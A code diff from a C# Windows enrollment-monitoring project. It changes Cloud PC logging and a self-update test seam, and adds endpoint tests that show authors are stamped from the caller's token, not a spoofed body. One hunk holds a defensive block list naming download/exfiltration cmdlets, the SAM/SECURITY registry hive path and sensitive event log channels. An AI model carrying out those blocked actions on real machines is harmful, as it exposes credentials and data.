var logLine = $"EnrollmentTracker: no Autopilot profile available during OOBE (ProfileAvailable=0) — isCloudPc={isCloudPc}, ztdVerdict={missingData["ztdVerdict"]}, endpointReachable={probe.Reachable}";
|
||||
if (isCloudPc)
|
||||
_logger.Info(logLine);
|
||||
else
|
||||
_logger.Warning(logLine);
|
||||
}
|
||||
|
||||
// Emit dedicated enrollment_type_detected event for easy filtering. Routed through
|
||||
@@ -396,6 +407,26 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
|
||||
&& profileAvailable?.ToString() == "0";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Message and severity for the autopilot_profile_missing event. On Windows 365
|
||||
/// Cloud PCs the missing profile is expected (Cloud PCs are provisioned by the
|
||||
/// Windows 365 service, not by Autopilot), so the event is informational there;
|
||||
/// on physical devices it stays a warning about a missing profile ASSIGNMENT.
|
||||
/// </summary>
|
||||
internal static (string Message, EventSeverity Severity) ResolveAutopilotProfileMissingPresentation(bool isCloudPc)
|
||||
{
|
||||
if (isCloudPc)
|
||||
{
|
||||
return (
|
||||
"No Autopilot profile was available during OOBE (ProfileAvailable=0). This device is a Windows 365 Cloud PC — Cloud PCs are provisioned by the Windows 365 service and do not use Autopilot deployment profiles, so this is expected. OOBE ran as a standard Entra ID join, which is the normal path for Cloud PCs.",
|
||||
EventSeverity.Info);
|
||||
}
|
||||
|
||||
return (
|
||||
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
|
||||
EventSeverity.Warning);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts ZeroTouchConfig.CloudAssignedTenantDomain from the cached profile data.
|
||||
/// The value lives in the CloudAssignedAadServerData JSON — either as a top-level
|
||||
|
||||
+10
-6
@@ -54,9 +54,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
|
||||
@"^SELECT\s+(?:\*|[A-Za-z_][A-Za-z0-9_]*(?:\s*,\s*[A-Za-z_][A-Za-z0-9_]*)*)\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)(?=\s|$)",
|
||||
RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
// Hard blocks: never allowed, even in unrestricted mode
|
||||
private static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users");
|
||||
private static readonly string[] AdditionalHardBlockedPathPrefixes = new[]
|
||||
// Hard blocks: never allowed, even in unrestricted mode. Internal (not private)
|
||||
// so GuardrailsParityTests can pin the guardrails.json display mirror to these
|
||||
// constants — enforcement stays code-only by design.
|
||||
internal static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users");
|
||||
internal static readonly string[] AdditionalHardBlockedPathPrefixes = new[]
|
||||
{
|
||||
Path.GetFullPath(@"C:\Windows\System32\config"), // SAM, SECURITY, SYSTEM hives
|
||||
};
|
||||
@@ -69,14 +71,14 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
|
||||
};
|
||||
|
||||
// Hard limit: maximum command length (even in unrestricted mode)
|
||||
private const int MaxCommandLength = 2000;
|
||||
internal const int MaxCommandLength = 2000;
|
||||
|
||||
// Event log channels that are never readable, even in unrestricted mode.
|
||||
// Security carries the audit trail of user behaviour; the PowerShell channels
|
||||
// carry script-block logging, which routinely contains secrets in clear text.
|
||||
// Mirrored in rules/guardrails.json ("blockedEventLogChannels") for the portal
|
||||
// to display — enforcement lives here so a parse error cannot lift it.
|
||||
private static readonly string[] HardBlockedEventLogChannels = new[]
|
||||
internal static readonly string[] HardBlockedEventLogChannels = new[]
|
||||
{
|
||||
"Security",
|
||||
"Microsoft-Windows-PowerShell",
|
||||
@@ -86,7 +88,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
|
||||
|
||||
// Hard-blocked command patterns: never allowed, even in unrestricted mode.
|
||||
// These prevent privilege escalation, persistence, and data exfiltration.
|
||||
private static readonly string[] HardBlockedCommandPatterns = new[]
|
||||
// Mirrored in rules/guardrails.json ("blockedCommandPatterns") for portal/MCP
|
||||
// pre-flight display — enforcement lives here so a parse error cannot lift it.
|
||||
internal static readonly string[] HardBlockedCommandPatterns = new[]
|
||||
{
|
||||
// Download / exfiltration
|
||||
"Invoke-WebRequest", "Invoke-RestMethod", "Start-BitsTransfer",
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.V2.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.V2.Core.Logging;
|
||||
using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime;
|
||||
@@ -155,6 +156,28 @@ namespace AutopilotMonitor.Agent.V2.Runtime
|
||||
cleanupServiceFactory: cleanupServiceFactory);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Signature of the self-update invocation performed by
|
||||
/// <see cref="RetrySelfUpdateAfterEnrollment"/> — mirrors the
|
||||
/// <see cref="SelfUpdater.CheckAndApplyUpdateAsync"/> parameters this path uses.
|
||||
/// </summary>
|
||||
internal delegate Task SelfUpdateInvoker(
|
||||
string currentVersion,
|
||||
string agentDir,
|
||||
bool consoleMode,
|
||||
string triggerReason,
|
||||
int downloadTimeoutMs,
|
||||
bool allowDowngrade,
|
||||
int versionCheckTimeoutMs);
|
||||
|
||||
/// <summary>
|
||||
/// Test seam replacing the real <see cref="SelfUpdater.CheckAndApplyUpdateAsync"/> call
|
||||
/// in <see cref="RetrySelfUpdateAfterEnrollment"/> (same static-hook idiom as
|
||||
/// <see cref="SelfUpdater.RequestGracefulShutdown"/>). Only the in-repo test project
|
||||
/// (InternalsVisibleTo) can set it; production code never assigns this.
|
||||
/// </summary>
|
||||
internal static SelfUpdateInvoker UpdateInvokerOverride;
|
||||
|
||||
/// <summary>
|
||||
/// One-shot self-update retry after the MDM certificate appeared. The startup check in
|
||||
/// <c>Main</c> runs pre-enrollment, where an --await-enrollment install typically has no
|
||||
@@ -166,7 +189,7 @@ namespace AutopilotMonitor.Agent.V2.Runtime
|
||||
/// On update success the process restarts and this method never returns; the
|
||||
/// await-enrollment config was already removed, so the new binary proceeds normally.
|
||||
/// </summary>
|
||||
private static void RetrySelfUpdateAfterEnrollment(AgentLogger logger, bool consoleMode)
|
||||
internal static void RetrySelfUpdateAfterEnrollment(AgentLogger logger, bool consoleMode)
|
||||
{
|
||||
if (SelfUpdater.LastVersionCheckSucceeded)
|
||||
return; // Startup check reached the manifest — its verdict stands.
|
||||
@@ -176,16 +199,29 @@ namespace AutopilotMonitor.Agent.V2.Runtime
|
||||
logger.Info("Await-enrollment: startup self-update check had failed (no network in early OOBE) — retrying now that enrollment proves connectivity.");
|
||||
var agentDir = System.IO.Path.GetDirectoryName(
|
||||
System.Reflection.Assembly.GetExecutingAssembly().Location) ?? string.Empty;
|
||||
SelfUpdater.CheckAndApplyUpdateAsync(
|
||||
currentVersion: Program.GetAgentVersion(),
|
||||
agentDir: agentDir,
|
||||
consoleMode: consoleMode,
|
||||
triggerReason: "await_enrollment",
|
||||
downloadTimeoutMsOverride: 60000,
|
||||
SelfUpdateInvoker invoke = UpdateInvokerOverride;
|
||||
if (invoke == null)
|
||||
{
|
||||
invoke = (version, dir, console, reason, downloadTimeoutMs, allowDowngrade, versionCheckTimeoutMs) =>
|
||||
SelfUpdater.CheckAndApplyUpdateAsync(
|
||||
currentVersion: version,
|
||||
agentDir: dir,
|
||||
consoleMode: console,
|
||||
triggerReason: reason,
|
||||
downloadTimeoutMsOverride: downloadTimeoutMs,
|
||||
allowDowngrade: allowDowngrade,
|
||||
versionCheckTimeoutMsOverride: versionCheckTimeoutMs);
|
||||
}
|
||||
invoke(
|
||||
Program.GetAgentVersion(),
|
||||
agentDir,
|
||||
consoleMode,
|
||||
"await_enrollment",
|
||||
60000,
|
||||
// Fresh --await-enrollment installs have no cached remote config yet, so
|
||||
// there is no admin downgrade override to honour on this path.
|
||||
allowDowngrade: false,
|
||||
versionCheckTimeoutMsOverride: 10000).GetAwaiter().GetResult();
|
||||
false,
|
||||
10000).GetAwaiter().GetResult();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -47,7 +47,7 @@ public class CriticalTableBackupServiceTests
|
||||
|
||||
Assert.Equal(BackupOutcome.Success, result.Outcome);
|
||||
Assert.True(store.ManifestWritten, "manifest must be written LAST");
|
||||
Assert.Equal(17, result.Manifest.Tables.Count); // critical-tables catalog count (incl. DelegatedAdmins + ConfigurationBackups)
|
||||
Assert.Equal(18, result.Manifest.Tables.Count); // critical-tables catalog count (incl. DelegatedAdmins + ConfigurationBackups + SessionAnnotations)
|
||||
Assert.All(result.Manifest.Tables, t =>
|
||||
Assert.True(t.Status == TableBackupStatus.Ok || t.Status == TableBackupStatus.Empty));
|
||||
}
|
||||
|
||||
@@ -75,9 +75,9 @@ public class DeletionManifestBuilderTests
|
||||
Assert.Equal(2, c["classifierVerdictsByIdLevel"]);
|
||||
Assert.Equal(11, c["signalsByKind"]);
|
||||
|
||||
// 16 cascade tables (incl. SessionTimeBreakdowns, F1 PR2) + tombstone = 17 steps;
|
||||
// no inventory steps when no contributions row.
|
||||
Assert.Equal(17, manifest.Steps.Count);
|
||||
// 19 cascade tables (incl. SessionTimeBreakdowns F1 PR2 + 3 SessionAnnotations lanes)
|
||||
// + tombstone = 20 steps; no inventory steps when no contributions row.
|
||||
Assert.Equal(20, manifest.Steps.Count);
|
||||
Assert.Equal(DeletionStepClass.Final, manifest.Steps.Last().Class);
|
||||
}
|
||||
|
||||
@@ -104,7 +104,8 @@ public class DeletionManifestBuilderTests
|
||||
.WithDeadEndsByReason(1, propValue: "deadend_marker")
|
||||
.WithClassifierVerdictsByIdLevel(1, propValue: "classifier_marker")
|
||||
.WithSignalsByKind(1, propValue: "signalkind_marker")
|
||||
.WithSessionTimeBreakdown(propValue: "breakdown_marker"));
|
||||
.WithSessionTimeBreakdown(propValue: "breakdown_marker")
|
||||
.WithSessionAnnotations(propValue: "annotation_marker"));
|
||||
|
||||
var manifest = await NewBuilder(reader).BuildAsync(
|
||||
TenantId, SessionId, "admin_delete",
|
||||
@@ -147,8 +148,9 @@ public class DeletionManifestBuilderTests
|
||||
new DeletionRetentionContext { TenantRetentionDays = 90 });
|
||||
|
||||
var nonTombstoneSteps = manifest.Steps.Where(s => s.Class != DeletionStepClass.Final).ToList();
|
||||
// Without a contributions row, neither inventory step is emitted → exactly 16 cascade-table steps.
|
||||
Assert.Equal(16, nonTombstoneSteps.Count);
|
||||
// Without a contributions row, neither inventory step is emitted → exactly 19 cascade-table steps
|
||||
// (16 + the 3 SessionAnnotations lane steps).
|
||||
Assert.Equal(19, nonTombstoneSteps.Count);
|
||||
foreach (var step in nonTombstoneSteps)
|
||||
{
|
||||
Assert.Equal(0, step.RowCount);
|
||||
@@ -177,8 +179,8 @@ public class DeletionManifestBuilderTests
|
||||
new DeletionActor { Type = "admin", Actor = "alice@example.com" },
|
||||
new DeletionRetentionContext { TenantRetentionDays = 90 });
|
||||
|
||||
// Expect: 16 cascade + 2 inventory + 1 tombstone = 19 steps.
|
||||
Assert.Equal(19, manifest.Steps.Count);
|
||||
// Expect: 19 cascade + 2 inventory + 1 tombstone = 22 steps.
|
||||
Assert.Equal(22, manifest.Steps.Count);
|
||||
|
||||
var aggregate = manifest.Steps.Single(s => s.Class == DeletionStepClass.Aggregate);
|
||||
Assert.Equal(DeletionStepNames.SoftwareInventoryDecrement, aggregate.Step);
|
||||
@@ -229,7 +231,7 @@ public class DeletionManifestBuilderTests
|
||||
[Fact]
|
||||
public async Task Build_omits_inventory_steps_when_no_side_row()
|
||||
{
|
||||
// The default reader returns no inventory row → 15 cascade + 1 tombstone, no inventory steps.
|
||||
// The default reader returns no inventory row → 19 cascade + 1 tombstone, no inventory steps.
|
||||
var reader = NewReader(seed => seed.WithSessionsRow().WithSessionsIndexRow());
|
||||
|
||||
var manifest = await NewBuilder(reader).BuildAsync(
|
||||
@@ -644,6 +646,7 @@ public class DeletionManifestBuilderTests
|
||||
private TableEntity? _eventSessionIndex;
|
||||
private TableEntity? _sessionTimeBreakdown;
|
||||
private TableEntity? _sessionInventoryContributions;
|
||||
private readonly Dictionary<string, TableEntity> _sessionAnnotations = new(StringComparer.Ordinal);
|
||||
private string _sessionsIndexRowKey = "INDEX_" + SessionId;
|
||||
|
||||
public ReaderSeed WithSessionsRow(string? diagnosticsBlobName = null)
|
||||
@@ -774,6 +777,23 @@ public class DeletionManifestBuilderTests
|
||||
public ReaderSeed WithClassifierVerdictsByIdLevel(int n, string propValue = "cls") => SeedDiscriminatorPkProp(Constants.TableNames.ClassifierVerdictsByIdLevel, n, propValue, "EspApps_High");
|
||||
public ReaderSeed WithSignalsByKind(int n, string propValue = "sk") => SeedDiscriminatorPkProp(Constants.TableNames.SignalsByKind, n, propValue, "EspPhaseChanged");
|
||||
|
||||
public ReaderSeed WithSessionAnnotations(string propValue = "anno")
|
||||
{
|
||||
// One row per lane — the builder emits one exact-RK step per lane.
|
||||
foreach (var lane in AutopilotMonitor.Shared.Models.AnnotationLanes.All)
|
||||
{
|
||||
var e = new TableEntity(TenantId, $"{SessionId}_{lane}")
|
||||
{
|
||||
["Marker"] = propValue,
|
||||
["SessionId"] = SessionId,
|
||||
["Lane"] = lane,
|
||||
};
|
||||
e.ETag = new ETag("0xANNO" + lane);
|
||||
_sessionAnnotations[lane] = e;
|
||||
}
|
||||
return this;
|
||||
}
|
||||
|
||||
public ReaderSeed WithSessionInventoryContributions(TableEntity row)
|
||||
{
|
||||
_sessionInventoryContributions = row;
|
||||
@@ -813,6 +833,11 @@ public class DeletionManifestBuilderTests
|
||||
.ReturnsAsync(_sessionTimeBreakdown);
|
||||
reader.Setup(r => r.GetEntityOrNullAsync(Constants.TableNames.SessionInventoryContributions, TenantId, SessionId, It.IsAny<CancellationToken>()))
|
||||
.ReturnsAsync(_sessionInventoryContributions);
|
||||
foreach (var (lane, row) in _sessionAnnotations)
|
||||
{
|
||||
reader.Setup(r => r.GetEntityOrNullAsync(Constants.TableNames.SessionAnnotations, TenantId, $"{SessionId}_{lane}", It.IsAny<CancellationToken>()))
|
||||
.ReturnsAsync(row);
|
||||
}
|
||||
|
||||
// QueryAsync: per-table seeded list, otherwise empty.
|
||||
reader.Setup(r => r.QueryAsync(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<CancellationToken>()))
|
||||
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
using System.Net;
|
||||
using System.Security.Claims;
|
||||
using System.Text;
|
||||
using AutopilotMonitor.Functions.Functions.Rules;
|
||||
using AutopilotMonitor.Functions.Services;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Azure.Core.Serialization;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.DependencyInjection;
|
||||
using Microsoft.Extensions.Logging.Abstractions;
|
||||
using Moq;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Tests;
|
||||
|
||||
/// <summary>
|
||||
/// Endpoint-level tests proving <see cref="GatherRulesFunction"/> stamps the rule
|
||||
/// Author from the caller's JWT and never from the request body — through the real
|
||||
/// request pipeline (body deserialization → ValidateScopeAndEmitMode → stamp →
|
||||
/// service). Complements <see cref="GatherRuleAuthorStampingTests"/> (claim
|
||||
/// precedence only) and GatherRuleUpdatePartialMergeTests (service-level
|
||||
/// preservation): those pin the pieces, this pins the wiring.
|
||||
/// Unlike most function tests in this project, it fakes HttpRequestData — the
|
||||
/// stamp lives IN the endpoint method, so no smaller seam can prove it.
|
||||
/// </summary>
|
||||
public class GatherRulesFunctionAuthorEndpointTests
|
||||
{
|
||||
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
||||
private const string RuleId = "GATHER-CUSTOM-777";
|
||||
|
||||
// ── request/response fakes ──────────────────────────────────────────────
|
||||
|
||||
private sealed class FakeHttpResponseData : HttpResponseData
|
||||
{
|
||||
public FakeHttpResponseData(FunctionContext context) : base(context) { }
|
||||
public override HttpStatusCode StatusCode { get; set; } = HttpStatusCode.OK;
|
||||
public override HttpHeadersCollection Headers { get; set; } = new();
|
||||
public override Stream Body { get; set; } = new MemoryStream();
|
||||
public override HttpCookies Cookies { get; } = new Mock<HttpCookies>().Object;
|
||||
}
|
||||
|
||||
private static FunctionContext BuildContext(ClaimsPrincipal? principal)
|
||||
{
|
||||
// WriteAsJsonAsync resolves the serializer from InstanceServices.
|
||||
var services = new ServiceCollection();
|
||||
services.AddOptions();
|
||||
services.Configure<WorkerOptions>(o => o.Serializer = new JsonObjectSerializer());
|
||||
var provider = services.BuildServiceProvider();
|
||||
|
||||
var items = new Dictionary<object, object>();
|
||||
if (principal != null)
|
||||
{
|
||||
items["ClaimsPrincipal"] = principal;
|
||||
}
|
||||
|
||||
var context = new Mock<FunctionContext>();
|
||||
context.SetupGet(c => c.Items).Returns(items);
|
||||
context.SetupGet(c => c.InstanceServices).Returns(provider);
|
||||
return context.Object;
|
||||
}
|
||||
|
||||
private static HttpRequestData BuildRequest(ClaimsPrincipal? principal, object body)
|
||||
{
|
||||
var context = BuildContext(principal);
|
||||
var req = new Mock<HttpRequestData>(context);
|
||||
req.SetupGet(r => r.Headers).Returns(new HttpHeadersCollection());
|
||||
req.SetupGet(r => r.Body).Returns(
|
||||
new MemoryStream(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(body))));
|
||||
req.Setup(r => r.CreateResponse()).Returns(() => new FakeHttpResponseData(context));
|
||||
return req.Object;
|
||||
}
|
||||
|
||||
private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims)
|
||||
=> new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth"));
|
||||
|
||||
private static ClaimsPrincipal AlicePrincipal()
|
||||
=> Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com"));
|
||||
|
||||
// ── function under test with a captured repository ─────────────────────
|
||||
|
||||
private static (GatherRulesFunction function, List<GatherRule> stored) BuildFunction(
|
||||
GatherRule? existingTenantRule = null)
|
||||
{
|
||||
var repo = new Mock<IRuleRepository>(MockBehavior.Loose);
|
||||
var stored = new List<GatherRule>();
|
||||
|
||||
repo.Setup(r => r.GatherRuleExistsAsync(It.IsAny<string>(), It.IsAny<string>())).ReturnsAsync(false);
|
||||
repo.Setup(r => r.GetGatherRulesAsync("global")).ReturnsAsync(new List<GatherRule>());
|
||||
repo.Setup(r => r.GetGatherRulesAsync(TenantId)).ReturnsAsync(
|
||||
existingTenantRule == null ? new List<GatherRule>() : new List<GatherRule> { existingTenantRule });
|
||||
repo.Setup(r => r.StoreGatherRuleAsync(It.IsAny<GatherRule>(), TenantId))
|
||||
.Callback<GatherRule, string>((rule, _) => stored.Add(rule))
|
||||
.ReturnsAsync(true);
|
||||
|
||||
var service = new GatherRuleService(repo.Object, NullLogger<GatherRuleService>.Instance);
|
||||
return (new GatherRulesFunction(NullLogger<GatherRulesFunction>.Instance, service), stored);
|
||||
}
|
||||
|
||||
private static GatherRule SpoofedPayload() => new()
|
||||
{
|
||||
RuleId = RuleId,
|
||||
Title = "Collect BIOS Config",
|
||||
CollectorType = "registry",
|
||||
Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS",
|
||||
Trigger = "startup",
|
||||
OutputEventType = "gather_bios_config",
|
||||
Enabled = true,
|
||||
Author = "Spoofed Author",
|
||||
};
|
||||
|
||||
// ── CreateRule ──────────────────────────────────────────────────────────
|
||||
|
||||
[Fact]
|
||||
public async Task CreateRule_stamps_author_from_jwt_not_from_body()
|
||||
{
|
||||
var (function, stored) = BuildFunction();
|
||||
var req = BuildRequest(AlicePrincipal(), SpoofedPayload());
|
||||
|
||||
var response = await function.CreateRule(req);
|
||||
|
||||
Assert.Equal(HttpStatusCode.Created, response.StatusCode);
|
||||
var written = Assert.Single(stored);
|
||||
Assert.Equal("Alice Admin", written.Author);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task CreateRule_falls_back_to_product_name_without_identifying_claims()
|
||||
{
|
||||
// App-only-shaped token: authenticated with a tenant but no user display claims.
|
||||
var (function, stored) = BuildFunction();
|
||||
var req = BuildRequest(Principal(("tid", TenantId)), SpoofedPayload());
|
||||
|
||||
var response = await function.CreateRule(req);
|
||||
|
||||
Assert.Equal(HttpStatusCode.Created, response.StatusCode);
|
||||
var written = Assert.Single(stored);
|
||||
Assert.Equal("Autopilot Monitor", written.Author);
|
||||
}
|
||||
|
||||
// ── UpdateRule ──────────────────────────────────────────────────────────
|
||||
|
||||
[Fact]
|
||||
public async Task UpdateRule_upsert_of_unknown_rule_stamps_author_from_jwt()
|
||||
{
|
||||
// Full-payload PUT for a ruleId with no existing tenant row upserts a new row —
|
||||
// without the endpoint stamp the payload's author would be stored verbatim.
|
||||
var (function, stored) = BuildFunction(existingTenantRule: null);
|
||||
var req = BuildRequest(AlicePrincipal(), SpoofedPayload());
|
||||
|
||||
var response = await function.UpdateRule(req, RuleId);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
var written = Assert.Single(stored);
|
||||
Assert.Equal("Alice Admin", written.Author);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UpdateRule_true_update_keeps_original_author_over_editor_and_body()
|
||||
{
|
||||
var existing = new GatherRule
|
||||
{
|
||||
RuleId = RuleId,
|
||||
Title = "Collect BIOS Config",
|
||||
CollectorType = "registry",
|
||||
Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS",
|
||||
Trigger = "startup",
|
||||
OutputEventType = "gather_bios_config",
|
||||
IsBuiltIn = false,
|
||||
IsCommunity = false,
|
||||
Author = "Original Creator",
|
||||
};
|
||||
var (function, stored) = BuildFunction(existing);
|
||||
// Bob edits Alice's rule; neither Bob nor the spoofed body author may win.
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("name", "Bob Editor")), SpoofedPayload());
|
||||
|
||||
var response = await function.UpdateRule(req, RuleId);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
var written = Assert.Single(stored);
|
||||
Assert.Equal("Original Creator", written.Author);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
using System.Net;
|
||||
using System.Security.Claims;
|
||||
using System.Text;
|
||||
using AutopilotMonitor.Functions.Functions.Annotations;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Azure.Core.Serialization;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.DependencyInjection;
|
||||
using Microsoft.Extensions.Logging.Abstractions;
|
||||
using Moq;
|
||||
using Newtonsoft.Json;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Tests;
|
||||
|
||||
/// <summary>
|
||||
/// Pins the session-annotation authorization surface: the per-lane write matrix
|
||||
/// (<see cref="UpsertSessionAnnotationFunction.IsLaneWritableByCaller"/>), the GA-lane
|
||||
/// read filter (<see cref="GetSessionAnnotationsFunction.FilterLanesForCaller"/>), and —
|
||||
/// endpoint-level, through the real request pipeline — that author identity is stamped
|
||||
/// from the JWT and never from the body (same contract as the gather-rule PUT-upserts).
|
||||
/// </summary>
|
||||
public class SessionAnnotationFunctionsTests
|
||||
{
|
||||
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
||||
private const string SessionId = "22222222-2222-2222-2222-222222222222";
|
||||
|
||||
// ── per-lane write matrix ───────────────────────────────────────────────
|
||||
// Callers reaching the function already passed TenantAdminOrOperator (tenant
|
||||
// Admin/Operator, or GA via bypass) — the matrix re-gates per lane.
|
||||
|
||||
[Theory]
|
||||
// operator lane: Operator or Tenant Admin; GA (cross-tenant: not tenant admin) may not
|
||||
[InlineData(AnnotationLanes.Operator, "Operator", false, false, true)]
|
||||
[InlineData(AnnotationLanes.Operator, "Admin", true, false, true)]
|
||||
[InlineData(AnnotationLanes.Operator, "GlobalAdmin", false, true, false)]
|
||||
[InlineData(AnnotationLanes.Operator, "Viewer", false, false, false)]
|
||||
// tenantadmin lane: Tenant Admin only
|
||||
[InlineData(AnnotationLanes.TenantAdmin, "Admin", true, false, true)]
|
||||
[InlineData(AnnotationLanes.TenantAdmin, "Operator", false, false, false)]
|
||||
[InlineData(AnnotationLanes.TenantAdmin, "GlobalAdmin", false, true, false)]
|
||||
// globaladmin lane: Global Admin only
|
||||
[InlineData(AnnotationLanes.GlobalAdmin, "GlobalAdmin", false, true, true)]
|
||||
[InlineData(AnnotationLanes.GlobalAdmin, "Admin", true, false, false)]
|
||||
[InlineData(AnnotationLanes.GlobalAdmin, "Operator", false, false, false)]
|
||||
// unknown lane: never writable
|
||||
[InlineData("someotherlane", "GlobalAdmin", true, true, false)]
|
||||
public void IsLaneWritableByCaller_matrix(
|
||||
string lane, string userRole, bool isTenantAdmin, bool isGlobalAdmin, bool expected)
|
||||
{
|
||||
Assert.Equal(expected,
|
||||
UpsertSessionAnnotationFunction.IsLaneWritableByCaller(lane, userRole, isTenantAdmin, isGlobalAdmin));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsLaneWritableByCaller_ga_who_is_also_own_tenant_admin_may_write_tenant_lanes()
|
||||
{
|
||||
// A GA annotating a session of their OWN tenant (IsTenantAdmin=true there) may use
|
||||
// the tenant lanes — the GA-only restriction applies to foreign tenants, where
|
||||
// IsTenantAdmin is false.
|
||||
Assert.True(UpsertSessionAnnotationFunction.IsLaneWritableByCaller(
|
||||
AnnotationLanes.TenantAdmin, "GlobalAdmin", isTenantAdmin: true, isGlobalAdmin: true));
|
||||
}
|
||||
|
||||
// ── GA-lane read filter ─────────────────────────────────────────────────
|
||||
|
||||
private static List<SessionAnnotation> AllLanes() => new()
|
||||
{
|
||||
new SessionAnnotation { Lane = AnnotationLanes.Operator, SessionId = SessionId },
|
||||
new SessionAnnotation { Lane = AnnotationLanes.TenantAdmin, SessionId = SessionId },
|
||||
new SessionAnnotation { Lane = AnnotationLanes.GlobalAdmin, SessionId = SessionId },
|
||||
};
|
||||
|
||||
[Fact]
|
||||
public void FilterLanesForCaller_hides_globaladmin_lane_without_global_scope()
|
||||
{
|
||||
var visible = GetSessionAnnotationsFunction.FilterLanesForCaller(AllLanes(), hasGlobalScope: false);
|
||||
|
||||
Assert.Equal(2, visible.Count);
|
||||
Assert.DoesNotContain(visible, a => a.Lane == AnnotationLanes.GlobalAdmin);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void FilterLanesForCaller_returns_all_lanes_for_global_scope()
|
||||
{
|
||||
var visible = GetSessionAnnotationsFunction.FilterLanesForCaller(AllLanes(), hasGlobalScope: true);
|
||||
|
||||
Assert.Equal(3, visible.Count);
|
||||
}
|
||||
|
||||
// ── endpoint-level tests (fake HttpRequestData, same harness as
|
||||
// GatherRulesFunctionAuthorEndpointTests) ──────────────────────────────
|
||||
|
||||
private sealed class FakeHttpResponseData : HttpResponseData
|
||||
{
|
||||
public FakeHttpResponseData(FunctionContext context) : base(context) { }
|
||||
public override HttpStatusCode StatusCode { get; set; } = HttpStatusCode.OK;
|
||||
public override HttpHeadersCollection Headers { get; set; } = new();
|
||||
public override Stream Body { get; set; } = new MemoryStream();
|
||||
public override HttpCookies Cookies { get; } = new Mock<HttpCookies>().Object;
|
||||
}
|
||||
|
||||
private static FunctionContext BuildContext(ClaimsPrincipal? principal, RequestContext requestContext)
|
||||
{
|
||||
var services = new ServiceCollection();
|
||||
services.AddOptions();
|
||||
services.Configure<WorkerOptions>(o => o.Serializer = new JsonObjectSerializer());
|
||||
var provider = services.BuildServiceProvider();
|
||||
|
||||
var items = new Dictionary<object, object> { ["RequestContext"] = requestContext };
|
||||
if (principal != null)
|
||||
{
|
||||
items["ClaimsPrincipal"] = principal;
|
||||
}
|
||||
|
||||
var context = new Mock<FunctionContext>();
|
||||
context.SetupGet(c => c.Items).Returns(items);
|
||||
context.SetupGet(c => c.InstanceServices).Returns(provider);
|
||||
return context.Object;
|
||||
}
|
||||
|
||||
private static HttpRequestData BuildRequest(
|
||||
ClaimsPrincipal? principal, RequestContext requestContext, object body)
|
||||
{
|
||||
var context = BuildContext(principal, requestContext);
|
||||
var req = new Mock<HttpRequestData>(context);
|
||||
req.SetupGet(r => r.Headers).Returns(new HttpHeadersCollection());
|
||||
req.SetupGet(r => r.Body).Returns(
|
||||
new MemoryStream(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(body))));
|
||||
req.Setup(r => r.CreateResponse()).Returns(() => new FakeHttpResponseData(context));
|
||||
return req.Object;
|
||||
}
|
||||
|
||||
private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims)
|
||||
=> new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth"));
|
||||
|
||||
private static RequestContext TenantAdminContext() => new()
|
||||
{
|
||||
TenantId = TenantId,
|
||||
TargetTenantId = TenantId,
|
||||
UserPrincipalName = "alice@contoso.com",
|
||||
IsTenantAdmin = true,
|
||||
UserRole = Constants.TenantRoles.Admin,
|
||||
};
|
||||
|
||||
private sealed class Harness
|
||||
{
|
||||
public UpsertSessionAnnotationFunction Function = default!;
|
